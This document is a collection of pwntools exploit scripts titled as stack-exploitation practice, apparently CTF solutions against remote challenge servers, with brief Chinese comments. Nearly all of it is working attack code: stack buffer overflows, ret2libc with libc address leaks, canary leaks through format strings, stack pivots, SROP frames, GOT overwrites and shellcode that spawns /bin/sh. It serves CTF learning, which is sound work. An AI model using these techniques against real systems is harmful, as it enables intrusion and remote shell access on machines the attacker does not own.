PWN练习---Stack_1

from pwn import *
context(arch='i386', os='linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28268)
elf = ELF('./pwn123')
backdoor = elf.sym['init0']
io.sendlineafter(b"what's your name?",b"aaa")
io.recvuntil(b"4 > dump all numbers")
io.sendlineafter(b' > ',b"1")
io.sendlineafter(b"Index to edit: ",b"14")
io.sendlineafter(b"How many? ",str(backdoor))  # 0x80485d6---> 134514134
io.sendline(b'0')
io.interactive()

from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
io = remote('node5.buuoj.cn',29944)
offset = 0x60
elf = ELF('./borrowstack')
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
leave = 0x400699 
bss = 0x601080
pop_rdi = 0x400703
pop_rbp = 0x400590
ret = 0x4004c9
p1 = b'a'*offset + p64(bss) + p64(leave)
io.sendafter(b'want\n',p1)
#-----------------ret滑梯--------------------------------------
p2 = p64(ret)*28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) 
io.sendafter(b'now!\n',p2)
puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
libc = LibcSearcher("puts",puts)
base = puts - libc.dump('puts')
sym = base + libc.dump('system')
bin = base + libc.dump('str_bin_sh')
#由于使用system构造rop较长，需要二次调用read函数，比较麻烦。这里选择onegadget方法。
one = base +0x4526a 
p3 = b'a'*0x68 + p64(one)
io.recv()
io.send(p3)
io.interactive()

from pwn import *
context(os='linux',arch='i386',log_level='debug')
io = remote('node5.buuoj.cn',29641)
read = 0x8048087
p1 = b'a'*20 + p32(read)
io.sendafter(b':',p1)
stack = u32(io.recv(4))
print(hex(stack))
io.recv()
shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = b'A'*0x14 + p32(stack+0x14)+shellcode
'''
shell = shell.ljust(20,b'\x00')
shell += p32(stack)
'''
io.send(payload)
io.interactive()

from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
io = remote('120.46.59.242',2055)
elf = ELF('./pwn2')
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi =0x400a93
ret = 0x4005f1
#-------------------------leak_canary--------------------------------
io.sendlineafter(b"3.Buf overflow\n",b'1')
io.sendline(b'%11$p')
canary = int(io.recvline(keepends=False),16)
print(hex(canary))
#------------------------leak_libc-------------------------------------------
io.sendlineafter(b"3.Buf overflow\n",b'2')
print(puts_got) # 6295576
io.send(b'6295576')
puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
#---------------------------overflow----------------------------------------
libc = ELF('./libc6_2.23-0ubuntu11.3_amd64.so')
libc_base = puts - libc.sym["puts"]
print(hex(libc_base))
sys = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
io.sendlineafter(b"3.Buf overflow\n",b'3')
p3 = b'a'*0x28+p64(canary)+p64(0)+p64(pop_rdi)+p64(binsh_addr)+p64(sys)
io.send(p3)
io.interactive()

from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf = ELF('./babystack')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
io = remote('node5.buuoj.cn',28722)
read = elf.sym['read']
my_canary = 0xc30af2c248625400
leave = 0x400955
pop_rdi = 0x400c03
pop_rsi_r15 = 0x400c01
ret = 0x400287
bss = elf.bss()+ 0x200
offset = 0x1848
p = b'a'*0x1008 + p64(my_canary) + p64(bss) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) 
p += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(read) 
p += p64(leave)
p = p.ljust(offset,b'a') +p64(my_canary) 
io.sendlineafter(b'send?\n',b'6224')
io.send(p)
puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
libc = LibcSearcher("puts",puts)
base = puts-libc.dump('puts')
one = base +  0x4f322
p2 = p64(ret) + p64(one)  # 这里在one_gadget前面加8字节应该是栈帧平衡，p64(0)亦可
io.send(p2)
io.interactive()

from pwn import *
p=remote('node5.buuoj.cn',25901)
elf=ELF('./PicoCTF_2018_got-shell ')
puts_got=elf.got['puts']
win_addr=0x0804854B
p.sendlineafter("value?", hex(puts_got))
p.recv()
p.sendline(hex(win_addr))
p.interactive()

from pwn import *
#io = remote('node5.buuoj.cn',26115)
io = process('./3')
elf = ELF('./3')
context(arch="amd64",os="linux", log_level="debug")
vul=0x4004F1  #从 xor rax,rax 开始，仅调用一部分汇编
srop = 0x4004da    # mov 0xF0 rax;ret
syscall=0x400517  # syscall;ret
#第一次输入shell，泄露栈地址，然后调转二次运行输入数据执行SROP
p1 = (b'/bin/sh\x00').ljust(16,b'a') + p64(vul)
io.sendline(p1)
io.recv(0x20)
bin = u64(io.recv(8))-0x118 #kali下为-0x148，Ubuntu为-0x128。。。
print(hex(bin))
frame = SigreturnFrame()
frame.rax = 59     # execve(/bin/sh,0,0)
frame.rdi = bin  # /bin/sh 填写地址为 rbp-0x30
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
# 由于程序第一次运行返回时，结尾汇编为 pop rbp;retn，retn之后此时rsp指向旧的rip
# 因此第二次回调执行sys_read时候写入起始位置为 旧的rip-0x10,即旧rbp地址。
# 而/bin/sh在 旧的rbp上面0x10处，不会被覆盖。
io.sendline(b'a'*0x10+p64(srop)+p64(syscall)+bytes(frame))
#     buf         +  rbp/rip (srop)+ rip+8(syscall) + ...
io.interactive()

from pwn import *
io = process("./srop")
#io = remote('node5.buuoj.cn',27655)
context(arch="amd64", os="linux",log_level="debug")
# write /bin/sh on bss
bss = 0x402000 + 0x400
syscall_leave_ret = 0x401033 #通用
syscall_addr = 0x401046   #仅第二个frame中的rip可用此gadget
pop_rax_syscall_leave_ret = 0x401032
# srop to call read, set *data_addr = /bin/sh\x00
frame = SigreturnFrame()
frame.rax = 0   # read(0,bss,0x400)  stack:    buf   rbp-0x20
frame.rdi = 0             #          rbp
frame.rsi = bss     
frame.rdx = 0x400
frame.rip = syscall_leave_ret
frame.rbp = bss + 0x20
p1 = 0x88 * b"a"+ p64(pop_rax_syscall_leave_ret) + p64(0xf)+ bytes(frame)
io.sendafter(b"Hey, can i get some feedback for the CTF?\n",p1)
frame = SigreturnFrame()
frame.rax = 59      # execve(bss,0,0)
frame.rdi = bss 
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_leave_ret
p2 = b"/bin/sh\x00"+ b"a" * 0x20+ p64(pop_rax_syscall_leave_ret) + p64(0xf)
p2 += bytes(frame)
io.send(p2)
io.interactive()

from pwn import *
#io = remote('node5.buuoj.cn',27029)
io = process('./srop')
elf = ELF('./srop')
context(arch="amd64",os="linux", log_level="debug")
    
bss = 0x402000 + 0x400
rt = 0x401001
syscall_leave_ret = 0x401033 #通用
pop_rax_syscall = 0x401032
io.recv(0x2a)
p1 = b'a'*0x80 + p64(bss) + p64(rt)
io.send(p1)
io.recv(0x2a)
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = bss-0x80
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_leave_ret
frame.rbp = bss
frame.rsp = bss-0x40
p2 = (b'/bin/sh\x00').ljust(0x88,b'\x00') + p64(pop_rax_syscall) + p64(0xf) 
p2 += bytes(frame)
io.send(p2)
io.interactive()

from pwn import *
#io = remote('node5.buuoj.cn',26143)
io = process('./4')
elf = ELF('./4')
context(arch="i386",os="linux", log_level="debug")
leave = 0x80484b8
#0x080484b8 : leave ; ret
p1 = b'a'*0x28
io.sendafter(b'?\n',p1)
io.recvuntil(b'a'*0x28)
buf = u32(io.recv(4).ljust(4,b'\x00'))-0x38
print(hex(buf))
bin = buf+0xc
system = elf.sym['system']
p2 = (p32(system) + p32(0) + p32(bin)+b'/bin/sh\x00').ljust(0x28,b'\x00')
# 注意：这里如果改成 
#  b'/bin/sh\x00'+ p32(system) + p32(0) + p32(bin-0xc) 就打不通了
p2 += p32(buf-4)+p32(leave)
io.send(p2)
io.recv()
io.interactive()

from pwn import *
#io = remote('node5.buuoj.cn',26143)
io = process('./ciscn_2019_s_4')
elf = ELF('./ciscn_2019_s_4')
context(arch="i386",os="linux", log_level="debug")
bss = 0x804a000 + 0x400
leave = 0x80484b8
#0x080484b8 : leave ; ret
#0x080483bd : pop ebx ; ret
pop_ebx = 0x80483bd
read = 0x080485D8
p1 = b'a'*0x28
io.sendafter(b'?\n',p1)
io.recv()
p2 = b'a'*0x28 + p32(bss) + p32(read)
io.send(p2)
io.recv()
buf = bss-0x28
bin = buf+12
system = elf.sym['system']
p3 = (p32(system)+p32(0)+p32(bin)+b'/bin/sh\x00').ljust(0x28,b'a') +p32(bss-0x2c)+ p32(leave)
io.send(p3)
io.recv()
io.interactive()

from pwn import *
context(arch='i386', os='linux', log_level='debug') 
p =remote('node5.buuoj.cn',28108)
elf =ELF('./fmt')
got_addr =elf.got['printf']
printf_got = elf.got['printf']
 #  offset = 8
'''
def exec_fmt(payload):
  p.sendline(payload)
  info = p.recv()                  
  return info
auto = FmtStr(exec_fmt)
offset = auto.offset
'''    
 #         1 +   4         +   7         + 4   = 16 =0x10
payload =b'A' +p32(got_addr) +b'bbbbbbb' + b'%8$s'  #建议对齐（0x10）
p.sendafter(b"Please tell me:",payload)
p.recvuntil(b'bbbbbbb')            # 注意接收的地址在b*7之后位置
puts_addr = u32(p.recv(4))
print(hex(puts_addr))
 
libc = ELF('./libc-2.23_32.so')
libc_base = puts_addr - libc.sym['printf']
sys_addr = libc_base + libc.sym['system']
 
payload=b'a'
payload += 
fmtstr_payload(8,{printf_got:sys_addr},write_size = "byte",numbwritten = 0xa)
p.recvuntil(b':')
p.send(payload)
p.send(b';/bin/sh\x00')   # 需要两次发送
p.interactive()

from pwn import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
 
p =process('./fmt')
#p =remote('node5.buuoj.cn',27332)
elf =ELF('./fmt')
 
got_addr =elf.got['printf']
printf_got = got_addr
print(hex(got_addr))
payload = b'%9$saaaa' + p64(got_addr)   #对齐
p.sendafter(b"Please tell me:",payload)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
 
libc = ELF('./libc-2.23_64.so')       #远程打不通
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')  #local
libc_base = puts_addr - libc.sym['printf']
sys_addr = libc_base + libc.sym['system']
payload=fmtstr_payload(8,{printf_got:sys_addr},write_size = "byte",numbwritten = 0x9)   #其实system函数和printf函数只有后面几位数字不一样，也可以手动修改...
p.recvuntil(b':')
p.send(payload)
p.send(b';/bin/sh\x00')
p.interactive()